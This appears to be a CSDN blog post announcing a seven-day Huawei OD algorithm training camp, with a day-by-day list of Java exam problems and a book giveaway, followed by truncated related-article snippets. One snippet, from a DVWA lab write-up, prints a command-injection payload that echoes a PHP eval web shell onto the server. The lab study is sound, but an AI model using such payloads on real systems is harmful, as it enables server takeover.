华为OD七日集训第2期 - 按算法分类,由易到难,循序渐进,玩转OD(文末送书)
目录
- 一、适合人群
- 二、本期训练时间
- 三、如何参加
- 四、7日集训第2期
- 五、精心挑选21道高频100分经典题目,作为入门。
- 第1天、逻辑分析
- 第2天、字符串处理
- 第3天、数据结构
- 第4天、递归回溯
- 第5天、二分查找
- 第6天、深度优先搜索dfs算法
- 第7天、动态规划
- 六、集训总结
- 1、《代码随想录》不是两年憋大招来个横空出世。
- 2、《代码随想录》有何不同?
- 3、断片式的学习,效率怎么能高呢?
大家好,我是哪吒。
最近一直在刷华为OD机试的算法题,坚持一天三道题的节奏,已经三个多月了,刷了280多道题。
最近还组织了“【陪伴学习】华为OD刷题交流群”,目前有207人在群。
希望用我自己疯狂刷题的劲头,感染大家,让大家爱上刷题,顺利通过华为OD机试,掌握更多优秀的算法。
为了更高效、更有乐趣的刷题,学习,即日起开展 “华为OD七日集训”。
参加完集训的小伙伴,选送4本《代码随想录》
一、适合人群
- 参加华为OD机试的小伙伴们
- 想学习一下算法的小伙伴们
- 题库题目太多,刷题没方向
- 想刷题,没动力,三天打鱼两天晒网
二、本期训练时间
2023年8月28日(周三) ~ 2023年9月3日(周日)。
三、如何参加
私信哪吒,备注华为OD七日集训,加入华为OD七日集训。
四、7日集训第2期
遵循“按算法分类,由易到难”的刷题思路。
制定N期7日集训,达到有效刷题,高效刷题,顺序通关的目的。
1、 先了解华为OD机试,是个啥?
2、喜提华为OD算法总纲,运筹帷幄之中决胜千里之外。
五、精心挑选21道高频100分经典题目,作为入门。
21天法则定律,又称为21天养成习惯法则,是指一个人坚持做某件事情21天后,就能够形成一种习惯,这个习惯将会成为自己生活中的一部分,从而达到自我成长和提升的目的。这个法则源于美国心理学家马克斯·马尔茨,他在研究人类行为习惯时发现,一个人需要至少21天的时间去养成一种新的习惯。
第1天、逻辑分析
华为OD机试真题 Java 实现【简易内存池】【2023 B卷 200分 考生抽中题】
华为OD机试 - 计算观看演唱会场次 - 逻辑分析(Java 2023 B卷 200分)
华为OD机试真题 Java 实现【经典屏保】【2023 B卷 100分】,附详细解题思路
第2天、字符串处理
华为OD机试 - 按索引范围翻转文章片段 - 字符串(Java 2022 Q4 100分)
华为OD机试 - 按单词下标区间翻转文章内容 - (Java 2023 B卷 100分)
华为OD机试 - 判断字符串子序列 - 倒序遍历(Java 2023 B卷 100分)
第3天、数据结构
华为OD机试 - 荒岛求生 - 栈Stack(Java 2023 B卷 100分)
华为OD机试 - 告警抑制 - 数据结构map(Java 2023 B卷 100分)
华为OD机试真题 Java 实现【磁盘容量排序】【2022Q4 100分】,附详细解题思路
第4天、递归回溯
华为OD机试真题 Java 实现【跳房子II】【2023 B卷 100分】,附详细解题思路
华为OD机试真题 Java 实现【最多几个直角三角形】【2023Q1 100分】
华为OD机试真题 Java 实现【微服务的集成测试】【2023Q1 100分】
第5天、二分查找
华为OD机试 - 最佳植树距离 - 二分查找(Java 2023 B卷 100分)
华为OD机试 - 数据最节约的备份方法 - 二分查找(Java 2023 B卷 100分)
华为OD机试 - 食堂供餐 - 二分查找(Java 2023 B卷 考生抽中题)
第6天、深度优先搜索dfs算法
华为OD机试 - 过滤组合字符串 - 深度优先搜索dfs算法(Java 2023 B卷 100分)
华为OD机试 - 欢快的周末 - 深度优先搜索dfs算法(Java 2023 B卷 200分)
华为OD机试 - 跳格子游戏 - 深度优先搜索dfs算法(Java 2023 B卷 200分)
第7天、动态规划
华为OD机试 - 通过软盘拷贝文件 - 动态规划(Java 2023 B卷 200分)
华为OD机试 - 最多获得的短信条数 - 动态规划(Java 2023 B卷 100分)
华为OD机试真题 Java 实现【核酸检测人员安排】【2023Q1 100分】
六、集训总结
参加完华为OD七日集训第一期的小伙伴,可以写一篇 “华为OD7日集训总结” 文章,发布在CSDN,作为一个成果物。
哪吒会根据“华为OD7日集训总结”文章,选送4本《代码随想录》
1、《代码随想录》不是两年憋大招来个横空出世。
而是一点一点打磨出来的,其刷题顺序、题解内容、思考深度 都是经过了上10w录友的共同见证。
也正是这些内容,把大家汇聚在一起,一起攻克算法的一座又一座高山。
2、《代码随想录》有何不同?
大家在学习编程、算法,刷题的时候,真正的苦恼在于没有一套行之有效的刷题顺序。
从何学起,先学什么,再学什么。力扣(Leetcode)上两千道题目,怎么刷,很多人刷题的效率低,主要体现在如下三点:
- 找题
- 找到了不合适现阶段做的题
- 没有全套的优质题解可以参考
而市面上基本找不到真正能解决以上痛点的算法书籍。
一些书籍是每个知识点蜻蜓点水,然后就叫大家举一反三。
一些书籍是一堆题解堆在一起,让大家学起来感受不到知识的连贯性和系统性。
3、断片式的学习,效率怎么能高呢?
当初我在学习算法的时候,就深感其中的艰难,当我的题量达到一定数量时候,随着反复的琢磨和深入的思考,我再去回顾这些算法题目,发现如果要是按照合理的顺序来刷题,那效果一定是 事半功倍!
所以我将每一个专题中的题目按照由易到难的顺序进行编排,每一道题目所涉及的知识,前面都会有相应的题目做知识铺垫,做到环环相扣。
建议大家按照章节顺序阅读本书,在阅读的过程中会发现我在题目编排上的良苦用心!
本书不仅在题目编排上精心设计,而且在针对读者最头痛的算法问题上做了详细且深入的讲解。
相关文章:
![](https://img-blog.csdnimg.cn/5f248245bb264a90b4a644489cb225f8.png#pic_center)
华为OD七日集训第2期 - 按算法分类,由易到难,循序渐进,玩转OD(文末送书)
目录 一、适合人群二、本期训练时间三、如何参加四、7日集训第2期五、精心挑选21道高频100分经典题目,作为入门。第1天、逻辑分析第2天、字符串处理第3天、数据结构第4天、递归回溯第5天、二分查找第6天、深度优先搜索dfs算法第7天、动态规划 六、集训总结1、《代码…...
![](https://img-blog.csdnimg.cn/fccfbca341124b50b28c5f30fc9fda98.png)
3d max插件CG MAGIC中的蜂窝材质功能可提升效率吗?
工作中能提升效率也都是大家所想的,对于设计师的一个设计过程中,可能想怎么样可以更快呀,是哪个步骤慢了呢? 这样的结果只能说会很多,但是建模这个步骤,肯定是有多无少的。 为了让模型更加逼真,…...
![](https://img-blog.csdnimg.cn/c8e2f3a3ee2b4bae92b6e4c53951d155.png)
一句话木马攻击复现:揭示黑客入侵的实战过程
这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。 准备环境 OWASP虚拟机xfp 7与xshell 7 DVWA系统默认的账号密码均为:admin/admin 1、命令注入中复现 攻击payload 127.0.0.1 | echo "<?php eval(…...
![](https://img-blog.csdnimg.cn/5146a01b4fcd452f84b4bcaaadb78a64.gif)
【游戏开发教程】Unity Cinemachine快速上手,详细案例讲解(虚拟相机系统 | 新发出品 | 良心教程)
文章目录 一、前言二、插件下载三、案例1:第三人称自由视角,Free Look character场景1、场景演示2、组件参数2.1、CinemachineBrain:核心2.2、CinemachineFreeLook:第三人称自由视角相机2.2.1、设置Follow:跟随2.2.2、…...
![](https://img-blog.csdnimg.cn/d6f22a0be90840618c34ac671b5e706d.png)
当图像宽高为奇数时,如何计算 I420 格式的uv分量大小
背景 I420 中 yuv 数据存放在3个 planes 中。 网上一般说 I420 数据大小为 widthheight1.5 但是当 width 和 height 是奇数时,这个计算公式会有问题。 I420 中 u 和 v 的宽高分别为 y 的一半。 但是当不能整除时,是如何取整呢?向上还是向下&…...
![](https://img-blog.csdnimg.cn/398c642486da4694894fafd08e1c824c.png)
结构型模式-代理模式
代理模式* 定义:在代理模式(Proxy Pattern)中,一个类代表另一个类的功能。这种类型的设计模式属于结构型模式。在代理模式中,我们创建具有现有对象的对象,以便向外界提供功能接口。 意图:为其…...
![](https://www.ngui.cc/images/no-images.jpg)
SpringBoot+Redis BitMap 实现签到与统计功能
最近项目里需要集成签到和统计功能,连续签到后会给用户发放一些优惠券和奖品,以此来吸引用户持续在该品台进行活跃。下面我们一些来聊一聊目前主流的实现方案。 因为签到和统计的功能涉及的数据量比较大,所以在如此大的数据下利用传统的关系…...
![](https://www.ngui.cc/images/no-images.jpg)
P5739 【深基7.例7】计算阶乘
题目描述 求 n ! n! n!,也就是 1 2 3 ⋯ n 1\times2\times3\dots\times n 123⋯n。 挑战:尝试不使用循环语句(for、while)完成这个任务。 输入格式 第一行输入一个正整数 n n n。 输出格式 输出一个正整数,…...
![](https://img-blog.csdnimg.cn/fa6e5922f4a34408ac88294925192d71.png)
scikit-learn中OneHotEncoder用法
One-Hot编码,又称为一位有效编码,是分类变量作为二进制向量的表示。这首先要求将分类值映射到整数值,然后,每个整数值被表示为二进制向量,将整数索引标记为1,其余都标为0。 OneHotEncoder()常用参数解释 …...
![](https://img-blog.csdnimg.cn/cb30c44aa40b4f53b35a50853be830de.png)
linux操作系统的权限的深入学习(未完)
1.Linux权限的概念 Linux下有两种用户:超级用户(root)、普通用户。 超级用户:可以再linux系统下做任何事情,不受限制 普通用户:在linux下做有限的事情。 超级用户的命令提示符是“#”,普通用户…...
![](https://img-blog.csdnimg.cn/5c7eb49155fe4a3abd95ec046c865344.png)
C 连接MySQL8
Linux 安装MySQL 8 请参考文章:Docker 安装MySQL 8 详解 Visual Studio 2022 编写C 连接MySQL 8 C源码 #include <stdio.h> #include <mysql.h> int main(void) {MYSQL mysql; //数据库句柄MYSQL_RES* res; //查询结果集MYSQL_ROW row; //记录结…...
![](https://img-blog.csdnimg.cn/fb3d1a99cf664d0cb0162ca757b76c71.png#pic_center)
福利之舞:员工的心跳与企业的平衡术
引言:员工福利与满意度的关系 在现代企业中,员工福利已经不仅仅是一种待遇,而是与员工满意度、忠诚度和生产力紧密相连的关键因素。一个合理且吸引人的福利制度可以大大提高员工的工作积极性,同时也能够吸引和留住顶尖的人才。但…...
![](https://img-blog.csdnimg.cn/e1980129c836411badd8ceafda90f68a.png)
MyBatis动态语句且如何实现模糊查询及resultType与resultMap的区别---详细介绍
前言 前面我们学习了如何使用Mybatis实现简单的增删改查。今天我们来学习如何使用动态语句来根据不同的条件生成不同的SQL语句。这在实际开发中非常有用,因为通常查询条件是多样化的,需要根据实际情况来拼接SQL语句,那什么是MyBatis动态语句呢…...
![](https://img-blog.csdnimg.cn/f6aec104a680458c9a676599a1a9164a.jpeg)
麒麟OS国产系统身份证阅读器web网页开发使用操作流程
1、打开麒麟软件商店,选择驱动,找到身份证阅读器,找到东信智能身份证社保卡读卡器,点击安装。 2、安装完成后,点击打开 3、进入读卡界面 4、进入代码集成 <script type"text/javascript">var ctnFin…...
![](https://www.ngui.cc/images/no-images.jpg)
前端面试:【事件处理】探索事件流、委托与事件对象
嗨,亲爱的事件探险家!在JavaScript的世界中,事件处理是与用户互动的关键。本文将带你探索事件流、事件委托、常见事件类型和事件对象,这些知识将帮助你成为事件处理的大师。 2. 事件流:事件的旅程 事件流描述了事件从…...
![](https://www.ngui.cc/images/no-images.jpg)
c语言函数指针使用例子
一、是什么? c语言函数名是一段代码首地址,连接器链接时放在text段,下面例子会把函数名打印出来,.map文件内存分布查看相关代码段函数: 下面例子实现步骤: 来源于uboot 的初始化 board_f.c typedef int (*init_fun_t)(void); (1)构建gd数据类型 (2)初始化全局gd变量 (3)实…...
![](https://img-blog.csdnimg.cn/img_convert/4235c3ee40d43346e2f33ce47a432a2c.png)
云计算技术应用专业实训室建设方案
一、 云计算技术应用系统概述 云计算技术是一种基于互联网的计算模式,通过将计算资源(如服务器、存储、数据库、网络、软件等)提供为一种服务,使用户能够按需获取和使用这些资源,而无需拥有和管理实际的物理设备。云计…...
![](https://www.ngui.cc/images/no-images.jpg)
C语言学习之共用体(union)的运用
C语言中的共用体:伪代码表示: union 类型名{ 数据类型1 成员1; 数据类型2 成员2; 数据类型3 成员3; . . . 数据类型n 成员n; };共用体的特点:1.所有的成员是共享同一块内存空间的2.所有成员的首地址是一样的;3.大小取决于共用体中…...
![](https://img-blog.csdnimg.cn/568d7d5cab0647a28449d0c66b46a022.png)
Sentinel 控制台(集群流控管理)
规则配置 要通过 Sentinel 控制台配置集群流控规则,需要对控制台进行改造。我们提供了相应的接口进行适配。 从 Sentinel 1.4.0 开始,我们抽取出了接口用于向远程配置中心推送规则以及拉取规则: DynamicRuleProvider<T>: 拉取规则Dy…...
![](https://img-blog.csdnimg.cn/23377bd747b74ac2af691383e1f61dd2.png)
matlab中判断数据的奇偶性(mod函数、rem函数)
用Matlab判断一个数是偶数还是奇数 1、mod函数 X 25;%要判断的数 if mod(X,2)1disp(奇数);%奇数 elsedisp(偶数);%偶数 end结果 2、rem函数 n25; if rem(n,2)0display(偶数); elsedisplay(奇数); end结果...
![](https://img-blog.csdnimg.cn/72962ea7f21745f898d07b17b61e7542.png)
Redis使用
环境配置 代码实现 Java public CoursePublish getCoursePublishCache(Long courseId){//查询缓存Object jsonObj redisTemplate.opsForValue().get("course:" courseId);if(jsonObj!null){String jsonString jsonObj.toString();System.out.println("从缓…...
![](https://www.ngui.cc/images/no-images.jpg)
#systemverilog# 之 event region 和 timeslot 仿真调度(七)Active/NBA 咋跳转的?
目录 一 目的 二 案例分析 2.1 先Active域,后 NBA 域 2.2 先Active域,后 NBA 域,后NBA域...
![](https://img-blog.csdnimg.cn/8f91680a03ca4336a1e2a02a06400749.png#pic_center)
回归预测 | MATLAB实现SSA-ELM麻雀搜索算法优化极限学习机多输入单输出回归预测(多指标,多图)
回归预测 | MATLAB实现SSA-ELM麻雀搜索算法优化极限学习机多输入单输出回归预测(多指标,多图) 目录 回归预测 | MATLAB实现SSA-ELM麻雀搜索算法优化极限学习机多输入单输出回归预测(多指标,多图)效果一览基…...
![](https://img-blog.csdnimg.cn/img_convert/0e3c2d3597e7db0b8a5829e22faaa893.jpeg)
LION AI 大模型落地,首搭星纪元 ES
自新能源汽车蓬勃发展以来,随着潮流不断进步和变革的“四大件”有着明显变化。其中有:平台、智能驾驶、配置、以及车机。方方面面都有着不同程度的革新。 而车机方面,从以前老旧的媒体机、 CD 机发展至如今具有拓展性、开放性、智能化的车机…...
![](https://www.ngui.cc/images/no-images.jpg)
【AC-自动机】- 字符串的逆序
链接:登录—专业IT笔试面试备考平台_牛客网 来源:牛客网 题号:NC14310 时间限制:C/C 1秒,其他语言2秒 空间限制:C/C 32768K,其他语言65536K 64bit IO Format: %lld 题目描述 输入一个字符串…...
![](https://img-blog.csdnimg.cn/0729a127fd5f4749a6abdd0964815463.png)
统计Mysql库中每个表的总行数,解决table_rows不准确问题
1、拼接SQL selectsubstring( GROUP_CONCAT(a.sf SEPARATOR ),1,length(GROUP_CONCAT(a.sf SEPARATOR ))-10) as sql_str from( select concat(select ", TABLE_name , ", count(*) as row_num from , TABLE_SCHEMA, .,TABLE_name, union all ) as sf frominformat…...
![](https://www.ngui.cc/images/no-images.jpg)
AWS EC2 docker-compose部署MongoDB4.2
环境准备 安装docker 参考EC2官方文档:创建容器镜像以在 Amazon ECS 上使用 - Amazon Elastic Container Service sudo yum update -y sudo amazon-linux-extras install docker sudo usermod -a -G docker ec2-user sudo systemctl enable docker sudo systemct…...
![](https://img-blog.csdnimg.cn/img_convert/61f8b03a0f1981598bd3836b30fcdd92.png)
IDEA常用插件之类Jar包搜索Maven Search
文章目录 IDEA常用插件之类Jar包搜索Maven Search说明安装插件使用方法1.搜索自己要搜的jar包2.根据类名搜索 IDEA常用插件之类Jar包搜索Maven Search 说明 它可以帮助用户快速查找和浏览Maven中央存储库中可用的依赖项和插件。它可以帮助用户更方便地管理项目依赖项。 安装…...
![](https://img-blog.csdnimg.cn/377c66a4aa0342c2ae3195bec96543be.png)
使用proxman对iOS真机进行抓包
1 打开手机的safari 输入地址 http://proxy.man/ssl 2 下载证书代开设置页面,安装证书 设置信任证书 打开手机设置 ,点击通用 点击关于本机、 点击证书信任设置 打开信任设置开关 4 设置手机代理 查看需要设置的代理地址 打开界面 在手机中按…...
![](/images/no-images.jpg)
免费10g网站空间/google搜索引擎免费入口
我知道你已经开始工作了,但我想补充一点,我已经查看了PHP7的源代码,并且没有理由说它为什么不能每次都工作.PHP_MINIT_FUNCTION(hash){// ...zend_hash_init(&php_hash_hashtable, 35, NULL, NULL, 1);// ...php_hash_register_algo("sha224", &php_hash_sha…...
![](/images/no-images.jpg)
公共资源交易中心平台/seo关键词排名优
svn: E155017: Checksum mismatch while updating 校验错误的解决方法参考文章: (1)svn: E155017: Checksum mismatch while updating 校验错误的解决方法 (2)https://www.cnblogs.com/mysticboy/p/4261259.html 备…...
![](/images/no-images.jpg)
有什么网站可以做编程题/企业推广策略
find the most comfortable road Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 6937 Accepted Submission(s): 2957Problem DescriptionXX星有许多城市,城市之间通过一种奇怪的高速公路SARS(Supe…...
![](https://img-blog.csdnimg.cn/img_convert/2c50d18ce47a56b7011cc7d5156d5398.png)
o2o网站建设新闻/新媒体seo培训
按ctrl-d终止当前终端的标准输入并终止命令,通常会终止一个程序。这和ctrl-c不一样。ctrl-c是终止当前进程运行,无论是否有输入和输出。常用命令一ls-l :显示文件目录详细列表ls-F:显示文件类型信息ls -i : 查看当前目录的inode编号lsof:列出…...
![](https://img-blog.csdnimg.cn/8af8c4c6916b4283b9676b0fb21b5873.gif?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0,size_16,color_FFFFFF,t_70#pic_center)
网站建设要学哪些软件/好推建站
转载:原型模式 - C语言中文网 原型(Prototype)模式的定义如下:用一个已经创建的实例作为原型,通过复制该原型对象来创建一个和原型相同或相似的新对象。 引入原型模式的本质在于利用已有的一个原型对象, …...
设计公司平面设计/重庆网站排名优化教程
我在SCVMM上做了好CentOS6.5的VM模板镜像,自己部署也是成功的,现在配置WAP的VM云虚拟机角色配置,在SCVMM上我打好了CentOS6.5的标签,可是在创建虚拟机角色配置中,选择的CentOS却无法找到硬盘,这是怎么回事呢…...